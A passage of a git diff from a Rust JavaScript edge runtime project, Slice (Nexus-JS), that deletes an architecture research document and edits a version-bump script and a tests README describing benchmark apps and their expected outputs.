CLI/`navigator`/`location`), backed by native Rust `parse_whatwg_url`, `can_parse_whatwg_url`, `usp_encode_component`, and `usp_decode_component` | **Reduces cold isolate execution latency across all workloads while maintaining `12.38 MB - 17.88 MB` Max RSS (2.5x-3.5x lower than Bun, 3.8x-5.0x lower than Node.js) and 100% byte-for-byte compatibility** | -| **Default `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS + Oxc AST Deferred Module Spans + `node:*` Built-In Pre-Fusion ([`boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs), [`vendor/boa_engine/src/slice_precompile.rs`](../../vendor/boa_engine/src/slice_precompile.rs))** | Ahead-of-time compiles bundled JavaScript (`ULTRA_CORE_PRELUDE` + needed shards + `node:*` built-ins + user script) into a 32-byte `BoaCasHeader` + `SLICEBC1` recursive `CodeBlock` binary image with Oxc AST deferred function module spans (`0x11` tag) | **Eliminates 100% of runtime JS lexing, AST parsing, scope analysis, and bytecode compilation on cold start; beats Bun (`v1.3.10`) on 30 out of 31 workloads cold and 31 out of 31 warm (`5.11 ms` App 01, `13.11 ms` Hono v4, `15.52 ms` itty+UnJS)** | - - - - - - - - - diff --git a/docs/system/09_research_deep_dive.md b/docs/system/09_research_deep_dive.md deleted file mode 100644 index 8bf5297..0000000 --- a/docs/system/09_research_deep_dive.md +++ /dev/null @@ -1,88 +0,0 @@ -# Cutting-Edge Research & Deep Dive: Building a Sub-Millisecond MicroVM-Grade Edge Runtime (2025-2026) - -## 1. Executive Overview - -This research document synthesizes the Slice (Nexus-JS) architectural blueprint with the 2025-2026 state-of-the-art in server-side JavaScript engines, microVM isolation, completion-based kernel I/O, and zero-stat content-addressable storage. - -Our goal is to engineer **Slice (Nexus-JS)**: a microVM-grade, multi-tenant JavaScript/TypeScript edge runtime in Rust that achieves: -1. **Cold Start Latency:** `< 100 microseconds` (0.1 ms) in-process isolate instantiation; `< 2 ms` full CLI process execution. -2. **Baseline Memory Footprint:** `< 250 KB` per tenant isolate; `< 3.5 MB` total process RSS. -3. **Zero-Stat Module Resolution:** `0` filesystem metadata syscalls (`stat`/`lstat`/`readdir`) at runtime via a memory-mapped BLAKE3 Content-Addressed Storage (CAS) archive and O(1) lookup index. -4. **Object-Capability (OCap) & Hardware Sandboxing:** Intrinsic prototype lockdown (SES), per-tenant Compartment capability tokens, strict memory & CPU fuel ceilings, and Linux `pkey_alloc` / `WRPKRU` (Intel MPK) hardware memory domain protection. -5. **Direct Completion I/O:** Linux `io_uring` (with `SQPOLL` & registered buffers) and Windows `IOCP` completion rings. -6. **Tiered Polyglot Execution:** Instant Tier-0 bytecode/snapshot interpreter (`rquickjs` / QuickJS-NG or pure-Rust fast-path VM + Wasmtime JIT/AOT tier for compute-intensive functions). - ---- - -## 2. Deep Dive: JavaScript & WebAssembly Execution Engines (2026 Landscape) - -### 2.1 Comparison of Embeddable Engines in Rust - -| Engine | Core Implementation | Cold Start (Isolate) | Base Memory | Compute Throughput | Trade-offs | -| :--- | :--- | :--- | :--- | :--- | :--- | -| **Google V8 (`v8` / `deno_core`)** | C++ | 5 ms - 40 ms | 20 MB - 50 MB | Very High (Maglev + TurboFan) | Heavy RSS, slow isolate spinup without huge snapshots, complex C++ build. | -| **Apple JSC (`bun`)** | C++ / Zig | 5 ms - 15 ms | 10 MB - 25 MB | Very High (LLInt + DFG + FTL) | Monolithic process model, no fine-grained in-process multi-tenant OCap isolation. | -| **QuickJS-NG (`rquickjs`)** | C + Rust | **80 us - 300 us** | **150 KB - 400 KB** | Moderate (Bytecode Interpreter) | Instant bytecode load (`eval_binary`), tiny heap, requires C compiler; weak on heavy loops unless paired with Native/Wasm JIT tier. | -| **Boa (`boa_engine` + `SLICEBC\x01` Precompiled `CodeBlock`)** | Pure Rust | **0.99 us - 1.40 us** (Pooled / Snapshot) | **12.38 MB - 17.88 MB** (Process RSS) | High with Precompiled `CodeBlock` CAS + Native Rust Intrinsics | 100% pure Rust (zero C/C++ build friction), zero runtime `boa_parser` / `ByteCompiler` overhead via `SLICEBC\x01`, Oxc deferred function module spans (`0x11` tag), pre-fused `node:*` shards, and native Rust fast-path intrinsics. | -| **Wasmtime / Cranelift** | Pure Rust | **5 us - 50 us** (precompiled `.cwasm`) | **50 KB - 200 KB** | Near-Native (AOT/JIT Cranelift) | Mathematical SFI bounds + MPK hardware keys, deterministic fuel metering. | -| **Hermes V1 (Static Hermes)** | C++ | 200 us - 1 ms | 1 MB - 3 MB | High (Soundly typed AOT + Bytecode) | Optimized for mobile (React Native 0.84+), heavier FFI integration in Rust. | -| **Porffor** | JS/Wasm AOT | < 100 us | < 100 KB | High on scalar code | Experimental JS-to-Wasm AOT compiler, incomplete ES spec coverage. | - -### 2.2 Architectural Synthesis for Quick Gains + Unbeatable Metrics - -To win on **all metrics** immediately on both Windows (local) and Linux (Docker) while building toward the ultimate microVM runtime: -* **Build-Time Type Stripping & Bundling:** Use `oxc` (Oxidation Compiler) or zero-copy fast TypeScript stripping + static import flattening at package build time. Oxc strips TypeScript 3x-5x faster than SWC and 40x faster than `tsc`. -* **Pre-Compiled Bytecode & Snapshots (`SLICEBC\x01` Default):** Never parse JS/TS source strings on the hot path. During `slice pack` and `slice compile`, source graphs are stripped of types, resolved statically with Oxc AST deferred function module spans (`0x11` tag) and pre-fused `node:*` built-in shards, and compiled directly into binary `SLICEBC\x01` precompiled Boa `Gc` + global `Scope` containers (or Tier-0 `SLICESNP` register snapshots) inside a single immutable `.cas` blob (`vendor/boa_engine/SLICE_PATCH.md`). -* **Tiered Execution Core (Hybrid Engine — Default Tier 1 + `boacas = true`):** - * **Tier 0 (`SLICESNP` Sub-1.5us Instant Micro-Isolate):** Register VM with pre-allocated stack/arena memory and frozen intrinsics (SES `lockdown()`). - * **Tier 1 (`SLICEBC\x01` Precompiled Boa `CodeBlock` — Default):** Full ECMAScript 2024+ + WinterTC + `node:*` execution engine that deserializes precompiled `Gc` bytecode directly into a `WarmBoaRealm` in microseconds without invoking `boa_parser` or `ByteCompiler`. - * **Tier 2 / Tier WASI (Native SIMD & Pure-Rust `wasmi` Acceleration):** Compute-intensive modules and hot loops execute on native Rust SIMD intrinsics (`SHA-256`/`SHA-512`, `HMAC`, `SemVer`, `URL`, `Buffer`, `zlib`) or pure-Rust `wasmi` WebAssembly kernels with deterministic CPU fuel and memory-page cages, beating Bun on `30 / 32` real-world multi-file workloads ([`tests/reports/latest.md`](../../tests/reports/latest.md)). - ---- - -## 3. Deep Dive: MicroVM Isolation vs. Language/Hardware Sandboxes - -### 3.1 The 2026 Isolation Spectrum - -1. **Traditional MicroVMs (Firecracker, Cloud Hypervisor):** - * Boot a stripped Linux kernel via KVM. - * Cold start: `100 ms - 300 ms`. Memory overhead: `30 MB - 128 MB` per VM. -2. **Hypervisor-Backed Unikernel/Wasm MicroVMs (Microsoft Hyperlight):** - * Uses KVM (Linux) or WHP/MSHV (Windows Hypervisor Platform) to run a single-purpose microVM with **zero guest OS** and **zero POSIX syscall layer**. - * Cold start: `0.9 ms - 2 ms`. Memory overhead: `1 MB - 4 MB`. -3. **In-Process Hardware-Enforced Micro-Isolates (Slice / Nexus-JS Architecture):** - * Combines three concentric rings of defense inside a single shared-nothing host process: - * **Ring 1 (Language OCap / SES):** Frozen intrinsics (`Object.freeze(Object.prototype)`), isolated global lexical compartments, zero ambient authority (`process`, `fs`, `net` removed from root global; only injected via cryptographic/attenuated Capability Tokens). - * **Ring 2 (Resource & Preemption Cage):** Deterministic instruction fuel metering (preempts infinite `while(true)` loops in `< 1 ms`) + custom per-tenant memory allocator with hard byte-level memory caps (prevents OOM DoS). - * **Ring 3 (Hardware Memory Protection Keys & Seccomp):** On Linux x86_64, uses `pkey_alloc()`, `pkey_mprotect()`, and the unprivileged `WRPKRU` instruction (Intel MPK) to switch tenant memory page permissions in **< 20 CPU cycles** (~5 nanoseconds) without a kernel syscall, backed by strict `seccomp-bpf` syscall filtering. On Windows, maps onto VirtualAlloc memory protection domains / Job Objects. - ---- - -## 4. Deep Dive: Zero-Stat Content-Addressable Storage (CAS) - -### 4.1 Why Node.js and Deno Lose on Cold-Start I/O -When Node.js resolves `import { Hono } from 'hono'`, it issues dozens of `stat()`, `lstat()`, `readdir()`, and `open()` calls walking up filesystem trees. Even Bun still relies on OS filesystem metadata when loading unbundled graphs. - -### 4.2 The Slice Zero-Stat CAS Format (`SLICE_CAS_V1`) -1. **Ingestion (`slice pack`):** - * Traverses the module graph once at build time. - * Strips TypeScript types and rewrites CommonJS `require()` into static deterministic linkages. - * Hashes every module's canonicalized bytecode/source with **BLAKE3-256** (achieving > 4 GB/s hashing speed via SIMD). -2. **Binary Layout (64-Byte Cache-Line Aligned):** - * **Header:** Magic bytes (`SLICECAS`), version, entry-point hash, total module count, radix/index table offset, data payload offset. - * **Deterministic Radix / Perfect Hash Index:** Maps `(Issuer Context, Specifier) -> BLAKE3 Hash -> (Page-Aligned Offset, Length, Precompiled Bytecode Offset)`. - * **Payload Region:** Contiguous, 64-byte aligned module blobs. -3. **Runtime Activation (`mmap`):** - * At runtime, the `.cas` file is mapped into virtual memory via a **single** `mmap(MAP_SHARED)` call on Linux (or `CreateFileMapping` / `MapViewOfFile` on Windows via `memmap2`). - * **Zero `stat` calls. Zero `read` calls. Zero heap copies.** Multiple worker threads or processes share the exact same physical RAM pages in the OS page cache. - ---- - -## 5. Deep Dive: Direct Kernel Completion Rings (`io_uring` & `IOCP`) - -### 5.1 Replacing `libuv` Readiness Polling -* **Linux (`io_uring`):** Uses Submission Queue (SQ) and Completion Queue (CQ) ring buffers shared between user space and kernel space. With `IORING_SETUP_SQPOLL` and `io_uring_register_buffers`, I/O operations require **zero syscalls** on the hot path and zero intermediate buffer copies. -* **Windows (`IOCP`):** Windows NT was designed from inception around I/O Completion Ports (`CreateIoCompletionPort`, `GetQueuedCompletionStatusEx`), which is conceptually identical to `io_uring` completions. -* **Slice Unified Completion Engine:** - * Implements a unified Rust completion driver abstracting Linux `io_uring` (via `io-uring` crate on Linux) and Windows `IOCP` / non-blocking completion loops on Windows, with pre-registered fixed buffer pools (`SlabBufferPool`) that expose zero-copy `Uint8Array` views to tenant compartments. - diff --git a/scripts/bump_version.ps1 b/scripts/bump_version.ps1 index 209c215..3ad8c6f 100644 --- a/scripts/bump_version.ps1 +++ b/scripts/bump_version.ps1 @@ -70,7 +70,8 @@ $TargetFiles = @( "tests/scripts/generate_bench_report.mjs", "README.md", "tests/README.md", - "tests/frameworks/README.md" + "tests/frameworks/README.md", + "tests/case_studies/README.md" ) Get-ChildItem -Path (Join-Path $RootDir "docs") -Filter "*.md" -Recurse | ForEach-Object { diff --git a/tests/README.md b/tests/README.md index 15e5eca..ae37f0c 100644 --- a/tests/README.md +++ b/tests/README.md @@ -6,16 +6,16 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar ## Latest Runtimes Installed in Docker ([`tests/Dockerfile`](./Dockerfile)) -- **Slice (`v0.10.12` — `SLICEBC\x01` Precompiled `CodeBlock` CAS Default):** Hybrid architecture combining **Oxc** (`v0.154.0` production Rust TypeScript compiler + AST ESM-to-CJS module bundler with deferred function module spans (`0x11` tag) + `.wasm` zero-stat module bundler + full `package.json` `"exports"` resolver + static barrel tree-shaker), **Boa (`boa_engine` v0.22 + [`vendor/boa_engine/SLICE_PATCH.md`](../vendor/boa_engine/SLICE_PATCH.md))** full ECMAScript VM with default `SLICEBC\x01` precompiled `Gc` + global `Scope` binary payloads (zero runtime `boa_parser` / `ByteCompiler` overhead) and pre-fused `node:*` built-in shards, thread-local pre-warmed context pool (`BOA_CONTEXT_POOL`), pure-Rust **WebAssembly (`wasmi` v2.0.0)** engine with `GLOBAL_WASM_MODULE_CACHE` and 5-Ring CPU fuel & linear memory cages, native Rust fast-path intrinsics (`SemVer`, `SHA-256`/`SHA-384`/`SHA-512`, `HMAC-SHA256`/`HMAC-SHA512`, `Base64URL`, in-memory `VFS` slab cache, WinterTC `URL`/`URLPattern`/`URLSearchParams`/`Headers`/`Request`/`Response`/`ReadableStream`/`TransformStream`/`CompressionStream`/`DecompressionStream`/`TextEncoder`/`TextDecoder`/`crypto.subtle`/`Blob`/`File`/`FormData`/`structuredClone`/`EventTarget`/`AbortSignal`/`WebAssembly`, real `Uint8Array`-backed `Buffer`, `node:*` Core Tier-1 modules including `node:async_hooks` and `node:zlib`, `Slice.streamSSE` / `Response.sse`, OCap-guarded outbound HTTP/1.1 & HTTPS TLS 1.3 `fetch()` with Keep-Alive pooling, hop-by-hop redirect guard, Cloud Metadata SSRF Shield, and Egress DLP, built-in Time-Travel `slice test` runner, OS-native `notify` (`v8.2`) `< 5 ms` `--watch`, and Auto-DLP `.env`), and **Slice Zero-Stat CAS + `--static` BLAKE3 `ETag` Static Server + Tier-0/Tier-2 fast paths**. -- **Node.js (`v27.0.0-alpha` — Absolute Latest Release):** Dynamically resolved at container build time from `https://nodejs.org/dist/index.json` (`.[0].version`). -- **Bun (`v1.4.4` — Absolute Latest Release):** Installed via official `https://bun.sh/install`. -- **Deno (`v2.9.8` — Absolute Latest Release):** Installed via official `https://deno.land/install.sh`. +- **Slice (`v0.10.12` - `SLICEBC\x01` Precompiled `CodeBlock` CAS Default):** Hybrid architecture combining **Oxc** (`v0.152.0` production Rust TypeScript compiler + AST ESM-to-CJS module bundler with deferred function module spans (`0x11` tag) + `.wasm` zero-stat module bundler + full `package.json` `"exports"` resolver + static barrel tree-shaker), **Boa (`boa_engine` v0.22 + [`vendor/boa_engine/SLICE_PATCH.md`](../vendor/boa_engine/SLICE_PATCH.md))** full ECMAScript VM with default `SLICEBC\x01` precompiled `Gc` + global `Scope` binary payloads (zero runtime `boa_parser` / `ByteCompiler` overhead) and pre-fused `node:*` built-in shards, thread-local pre-warmed context pool (`BOA_CONTEXT_POOL`), pure-Rust **WebAssembly (`wasmi` v2.0.0)** engine with `GLOBAL_WASM_MODULE_CACHE` and 5-Ring CPU fuel & linear memory cages, native Rust fast-path intrinsics (`SemVer`, `SHA-256`/`SHA-384`/`SHA-512`, `HMAC-SHA256`/`HMAC-SHA512`, `Base64URL`, in-memory `VFS` slab cache, WinterTC `URL`/`URLPattern`/`URLSearchParams`/`Headers`/`Request`/`Response`/`ReadableStream`/`TransformStream`/`CompressionStream`/`DecompressionStream`/`TextEncoder`/`TextDecoder`/`crypto.subtle`/`Blob`/`File`/`FormData`/`structuredClone`/`EventTarget`/`AbortSignal`/`WebAssembly`, real `Uint8Array`-backed `Buffer`, `node:*` Core Tier-1 modules including `node:async_hooks` and `node:zlib`, `Slice.streamSSE` / `Response.sse`, OCap-guarded outbound HTTP/1.1 & HTTPS TLS 1.3 `fetch()` with Keep-Alive pooling, hop-by-hop redirect guard, Cloud Metadata SSRF Shield, and Egress DLP, built-in Time-Travel `slice test` runner, OS-native `notify` (`v8.2`) `< 5 ms` `--watch`, and Auto-DLP `.env`), and **Slice Zero-Stat CAS + `--static` BLAKE3 `ETag` Static Server + Tier-0/Tier-2 fast paths**. +- **Node.js (`v27.0.0-alpha` - Absolute Latest Release):** Dynamically resolved at container build time from `https://nodejs.org/dist/index.json` (`.[0].version`). +- **Bun (`v1.4.4` - Absolute Latest Release):** Installed via official `https://bun.sh/install`. +- **Deno (`v2.9.8` - Absolute Latest Release):** Installed via official `https://deno.land/install.sh`. --- ## 24 Folder-Based Production Test Applications (`tests/apps/`) -### 1. [`apps/01-fintech-checkout/`](./apps/01-fintech-checkout/src/index.ts) — Multi-Module TypeScript E-Commerce & SHA-256 Crypto Signing +### 1. [`apps/01-fintech-checkout/`](./apps/01-fintech-checkout/src/index.ts) - Multi-Module TypeScript E-Commerce & SHA-256 Crypto Signing - **Structure:** [`package.json`](./apps/01-fintech-checkout/package.json), [`src/types.ts`](./apps/01-fintech-checkout/src/types.ts), [`src/audit_crypto.ts`](./apps/01-fintech-checkout/src/audit_crypto.ts), [`src/pricing_engine.ts`](./apps/01-fintech-checkout/src/pricing_engine.ts), [`src/index.ts`](./apps/01-fintech-checkout/src/index.ts). - **What it tests:** Multi-file TypeScript interfaces, union types, `PricingAndRiskEngine` class, regional VAT/sales tax, tiered + coupon discounts, velocity/geo/GPU fraud risk heuristics, and FIPS-180-4 SHA-256 receipt signing via `node:crypto` across 50 checkout orders. - **Identical Output Across All 4 Runtimes:** @@ -23,7 +23,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"01-fintech-checkout","ordersProcessed":50,"approvedCount":50,"aggregateRevenueCents":4932364,"lastSha256Signature":"636588368661f40b"} ``` -### 2. [`apps/02-npm-ecosystem-suite/`](./apps/02-npm-ecosystem-suite/src/index.ts) — Real External NPM Libraries (`semver@7.6.3`, `ms@2.1.3`, `ini@4.1.3`) +### 2. [`apps/02-npm-ecosystem-suite/`](./apps/02-npm-ecosystem-suite/src/index.ts) - Real External NPM Libraries (`semver@7.6.3`, `ms@2.1.3`, `ini@4.1.3`) - **Structure:** [`package.json`](./apps/02-npm-ecosystem-suite/package.json), [`src/release_planner.ts`](./apps/02-npm-ecosystem-suite/src/release_planner.ts), [`src/config_loader.ts`](./apps/02-npm-ecosystem-suite/src/config_loader.ts), [`src/index.ts`](./apps/02-npm-ecosystem-suite/src/index.ts). - **What it tests:** Static barrel tree-shaking and execution of real third-party CommonJS/ESM packages from `node_modules/` (`semver.valid`, `semver.coerce`, `semver.satisfies`, `semver.gt`, `ms`, and `ini.parse`) across 20 microservice release manifests and cluster SLA topologies, signed with `node:crypto` SHA-256. - **Identical Output Across All 4 Runtimes:** @@ -31,7 +31,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"02-npm-ecosystem-suite","libraries":["semver@7.6.3","ms@2.1.3","ini@4.1.3"],"validManifests":20,"rangeSatisfied":5,"upgradesRequired":20,"highestSemver":"5.0.0","totalSlaTimeoutMs":197500,"edgeCacheTtlMs":7200000,"heartbeatInterval":"2 minutes","sha256Digest":"ef97948c06f43da9"} ``` -### 3. [`apps/03-disk-io-log-pipeline/`](./apps/03-disk-io-log-pipeline/src/index.ts) — High-Throughput Disk I/O, Directory Scan & JSONL Stream Processing +### 3. [`apps/03-disk-io-log-pipeline/`](./apps/03-disk-io-log-pipeline/src/index.ts) - High-Throughput Disk I/O, Directory Scan & JSONL Stream Processing - **Structure:** [`package.json`](./apps/03-disk-io-log-pipeline/package.json), [`src/log_generator.ts`](./apps/03-disk-io-log-pipeline/src/log_generator.ts), [`src/io_aggregator.ts`](./apps/03-disk-io-log-pipeline/src/io_aggregator.ts), [`src/index.ts`](./apps/03-disk-io-log-pipeline/src/index.ts). - **What it tests:** Intensive filesystem I/O (`node:fs`, `node:path`, `node:os`, `node:crypto`) creating, writing, stating, directory-scanning, reading, parsing, SHA-256 verifying, and unlinking 10 JSONL log shard files (`200` records, `15,796 bytes`). - **Identical Output Across All 4 Runtimes:** @@ -39,7 +39,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"03-disk-io-log-pipeline","shardsScanned":10,"recordsParsed":200,"totalDiskBytes":15796,"error5xxCount":28,"rateLimit429Count":28,"totalBytesTransferred":851796,"maxLatencyMs":121,"summarySha256":"4cbda5d6e5f1f7ca"} ``` -### 4. [`apps/04-edge-api-gateway/`](./apps/04-edge-api-gateway/src/index.ts) — Edge API Gateway with External NPM Query Parser (`fast-querystring@1.1.2`, `ms@2.1.3`) +### 4. [`apps/04-edge-api-gateway/`](./apps/04-edge-api-gateway/src/index.ts) - Edge API Gateway with External NPM Query Parser (`fast-querystring@1.1.2`, `ms@2.1.3`) - **Structure:** [`package.json`](./apps/04-edge-api-gateway/package.json), [`src/auth_middleware.ts`](./apps/04-edge-api-gateway/src/auth_middleware.ts), [`src/rate_limiter.ts`](./apps/04-edge-api-gateway/src/rate_limiter.ts), [`src/router.ts`](./apps/04-edge-api-gateway/src/router.ts), [`src/index.ts`](./apps/04-edge-api-gateway/src/index.ts). - **What it tests:** URL query parsing with Fastify's `fast-querystring` library, sliding-window tenant quota enforcement with `ms`, Bearer token authentication, SHA-256 audit tagging, and route dispatching over 100 HTTP requests. - **Identical Output Across All 4 Runtimes:** @@ -47,7 +47,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"04-edge-api-gateway","libraries":["fast-querystring@1.1.2","ms@2.1.3"],"totalRequests":100,"status200":75,"status401":25,"status429":0,"status404":0,"totalResponseBytes":6700,"latencyPoints":300,"gatewaySha256":"552ff4506f3699d0"} ``` -### 5. [`apps/05-jwt-oauth-session-guard/`](./apps/05-jwt-oauth-session-guard/src/index.ts) — Zero-Trust OAuth2 / JWT HMAC-SHA256 & HTTP Cookie Session Guard (`cookie@0.6.0`, `ms@2.1.3`) +### 5. [`apps/05-jwt-oauth-session-guard/`](./apps/05-jwt-oauth-session-guard/src/index.ts) - Zero-Trust OAuth2 / JWT HMAC-SHA256 & HTTP Cookie Session Guard (`cookie@0.6.0`, `ms@2.1.3`) - **Structure:** [`package.json`](./apps/05-jwt-oauth-session-guard/package.json), [`src/jwt_codec.ts`](./apps/05-jwt-oauth-session-guard/src/jwt_codec.ts), [`src/session_manager.ts`](./apps/05-jwt-oauth-session-guard/src/session_manager.ts), [`src/index.ts`](./apps/05-jwt-oauth-session-guard/src/index.ts). - **What it tests:** RFC 6265 HTTP `Cookie` / `Set-Cookie` parsing and serialization (`cookie.parse`, `cookie.serialize`), Base64URL JWT encoding/decoding (`Buffer.from(..., "base64url")`), RFC 2104 HMAC-SHA256 signature verification (`crypto.createHmac("sha256", secret)`), CSRF double-submit token validation, and RBAC scope authorization across 50 sessions. - **Identical Output Across All 4 Runtimes:** @@ -55,7 +55,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"05-jwt-oauth-session-guard","libraries":["cookie@0.6.0","ms@2.1.3"],"sessionsEvaluated":50,"authenticatedCount":45,"csrfVerifiedCount":38,"rbacGrantedCount":12,"deniedCount":38,"totalCookieBytes":5448,"auditSha256":"6c262153f1280c9e"} ``` -### 6. [`apps/06-telemetry-metrics-pipeline/`](./apps/06-telemetry-metrics-pipeline/src/index.ts) — OpenTelemetry Circular Span Graph, Flatted Serialization & Disk WAL (`bytes@3.1.2`, `flatted@3.3.1`) +### 6. [`apps/06-telemetry-metrics-pipeline/`](./apps/06-telemetry-metrics-pipeline/src/index.ts) - OpenTelemetry Circular Span Graph, Flatted Serialization & Disk WAL (`bytes@3.1.2`, `flatted@3.3.1`) - **Structure:** [`package.json`](./apps/06-telemetry-metrics-pipeline/package.json), [`src/span_graph.ts`](./apps/06-telemetry-metrics-pipeline/src/span_graph.ts), [`src/histogram_wal.ts`](./apps/06-telemetry-metrics-pipeline/src/histogram_wal.ts), [`src/index.ts`](./apps/06-telemetry-metrics-pipeline/src/index.ts). - **What it tests:** Constructing parent<->child circular distributed trace span graphs (`SpanNode`), serializing and deserializing cyclic graphs with `flatted` (`stringify` / `parse`), human-readable memory budget formatting/parsing with `bytes` (`bytes.parse`, `bytes.format`), P50/P95 latency histogram calculation, and WAL persistence (`node:fs` + `node:crypto`). - **Identical Output Across All 4 Runtimes:** @@ -63,7 +63,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"06-telemetry-metrics-pipeline","libraries":["bytes@3.1.2","flatted@3.3.1"],"tracesProcessed":20,"spansEvaluated":60,"p50DurationUs":949,"p95DurationUs":1072,"totalMemoryFormatted":"4.56MB","walBytesOnDisk":11827,"walSha256":"c93139476b4093bb"} ``` -### 7. [`apps/07-graphql-ast-validator/`](./apps/07-graphql-ast-validator/src/index.ts) — GraphQL Query AST Depth/Complexity Cost Guard & Deep Resolver (`dlv@1.1.3`, `dset@3.1.3`) +### 7. [`apps/07-graphql-ast-validator/`](./apps/07-graphql-ast-validator/src/index.ts) - GraphQL Query AST Depth/Complexity Cost Guard & Deep Resolver (`dlv@1.1.3`, `dset@3.1.3`) - **Structure:** [`package.json`](./apps/07-graphql-ast-validator/package.json), [`src/graphql_ast.ts`](./apps/07-graphql-ast-validator/src/graphql_ast.ts), [`src/deep_resolver.ts`](./apps/07-graphql-ast-validator/src/deep_resolver.ts), [`src/index.ts`](./apps/07-graphql-ast-validator/src/index.ts). - **What it tests:** Recursive GraphQL selection-set AST depth and complexity cost analysis (blocking abusive deep queries), paired with deep nested object resolution and projection using `dlv` and `dset` over 60 GraphQL queries. - **Identical Output Across All 4 Runtimes:** @@ -71,7 +71,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"07-graphql-ast-validator","libraries":["dlv@1.1.3","dset@3.1.3"],"queriesEvaluated":60,"allowedQueries":48,"blockedDeepQueries":12,"totalComplexityScore":2700,"totalProjectedBytes":11472,"schemaSha256":"48510bb0a32a884d"} ``` -### 8. [`apps/08-event-driven-state-journal/`](./apps/08-event-driven-state-journal/src/index.ts) — CQRS Event-Sourced Ledger Bus & Append-Only JSONL WAL Replay (`mitt@3.0.1`, `ms@2.1.3`) +### 8. [`apps/08-event-driven-state-journal/`](./apps/08-event-driven-state-journal/src/index.ts) - CQRS Event-Sourced Ledger Bus & Append-Only JSONL WAL Replay (`mitt@3.0.1`, `ms@2.1.3`) - **Structure:** [`package.json`](./apps/08-event-driven-state-journal/package.json), [`src/event_ledger.ts`](./apps/08-event-driven-state-journal/src/event_ledger.ts), [`src/journal_replayer.ts`](./apps/08-event-driven-state-journal/src/journal_replayer.ts), [`src/index.ts`](./apps/08-event-driven-state-journal/src/index.ts). - **What it tests:** Pub/sub event-sourced state machine orchestration via `mitt`, append-only write-ahead log (WAL) streaming (`fs.appendFileSync`), full JSONL state replay, and deterministic state convergence verification across 75 ledger events. - **Identical Output Across All 4 Runtimes:** @@ -79,7 +79,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"08-event-driven-state-journal","libraries":["mitt@3.0.1","ms@2.1.3"],"eventsDispatched":75,"appliedCount":41,"rejectedCount":34,"replayedAggregateBalanceCents":95480,"journalDiskBytes":10699,"stateMatchVerified":true,"journalSha256":"4a603ab1b248253a"} ``` -### 9. [`apps/09-wintertc-web-router/`](./apps/09-wintertc-web-router/src/index.ts) — Standard WinterTC Web API (`Request`, `Response`, `Headers`, `URL`, `URLSearchParams`) Edge Router +### 9. [`apps/09-wintertc-web-router/`](./apps/09-wintertc-web-router/src/index.ts) - Standard WinterTC Web API (`Request`, `Response`, `Headers`, `URL`, `URLSearchParams`) Edge Router - **Structure:** [`package.json`](./apps/09-wintertc-web-router/package.json), [`src/types.ts`](./apps/09-wintertc-web-router/src/types.ts), [`src/catalog.ts`](./apps/09-wintertc-web-router/src/catalog.ts), [`src/router.ts`](./apps/09-wintertc-web-router/src/router.ts), [`src/index.ts`](./apps/09-wintertc-web-router/src/index.ts). - **What it tests:** Standard WinterTC / WHATWG `new Request(url, { method, headers, body })`, `new URL(req.url)`, `url.searchParams.get` / `.getAll` / `.sort`, case-insensitive `Headers`, `Response.json(data, init)`, `Response.redirect(url, 308)`, `await res.json()`, and `node:crypto` HMAC-SHA256 webhook verification across 80 multi-tenant HTTP requests. - **Identical Output Across All 4 Runtimes:** @@ -87,7 +87,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"09-wintertc-web-router","totalRequests":80,"ok200Count":30,"created201Count":16,"redirect308Count":10,"unauthorized401Count":10,"notFound404Count":14,"totalRevenueCents":5255850,"matchedCatalogItems":30,"canonicalQuerySample":"category=compute&minPrice=0&sort=asc&tag=pcie","finalStateHash":"bda3093620e333db"} ``` -### 10. [`apps/10-fullstack-bff-microservice/`](./apps/10-fullstack-bff-microservice/src/index.ts) — Full-Stack Multi-Tenant BFF Microservice (`cookie@0.6.0`, `dlv@1.1.3`, `ms@2.1.3` + WinterTC Fetch APIs) +### 10. [`apps/10-fullstack-bff-microservice/`](./apps/10-fullstack-bff-microservice/src/index.ts) - Full-Stack Multi-Tenant BFF Microservice (`cookie@0.6.0`, `dlv@1.1.3`, `ms@2.1.3` + WinterTC Fetch APIs) - **Structure:** [`package.json`](./apps/10-fullstack-bff-microservice/package.json), [`src/types.ts`](./apps/10-fullstack-bff-microservice/src/types.ts), [`src/cors_etag.ts`](./apps/10-fullstack-bff-microservice/src/cors_etag.ts), [`src/bff_controller.ts`](./apps/10-fullstack-bff-microservice/src/bff_controller.ts), [`src/index.ts`](./apps/10-fullstack-bff-microservice/src/index.ts). - **What it tests:** Combines standard WinterTC `Request`, `Response`, `Headers`, and `URL` with real external npm packages (`cookie.parse` / `cookie.serialize`, `dlv` deep property resolution, and `ms` cache TTL parsing), `OPTIONS` CORS preflight (`204`), SHA-256 `ETag` conditional `If-None-Match` (`304 Not Modified`), and JSON preference mutations (`201`) across 60 requests. - **Identical Output Across All 4 Runtimes:** @@ -95,7 +95,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"10-fullstack-bff-microservice","totalRequests":60,"corsPreflight204Count":10,"notModified304Count":10,"dashboard200Count":20,"preferences201Count":10,"forbidden403Count":10,"totalWidgetsRendered":80,"totalCacheTtlSec":4200,"finalStateHash":"8b0bf90129dbcc3c"} ``` -### 11. [`apps/11-static-asset-cdn-edge/`](./apps/11-static-asset-cdn-edge/src/index.ts) — Zero-Stat Static Asset CDN Edge Router (`bytes@3.1.2`, `ms@2.1.3` + `ETag` `304`) +### 11. [`apps/11-static-asset-cdn-edge/`](./apps/11-static-asset-cdn-edge/src/index.ts) - Zero-Stat Static Asset CDN Edge Router (`bytes@3.1.2`, `ms@2.1.3` + `ETag` `304`) - **Structure:** [`package.json`](./apps/11-static-asset-cdn-edge/package.json), [`src/types.ts`](./apps/11-static-asset-cdn-edge/src/types.ts), 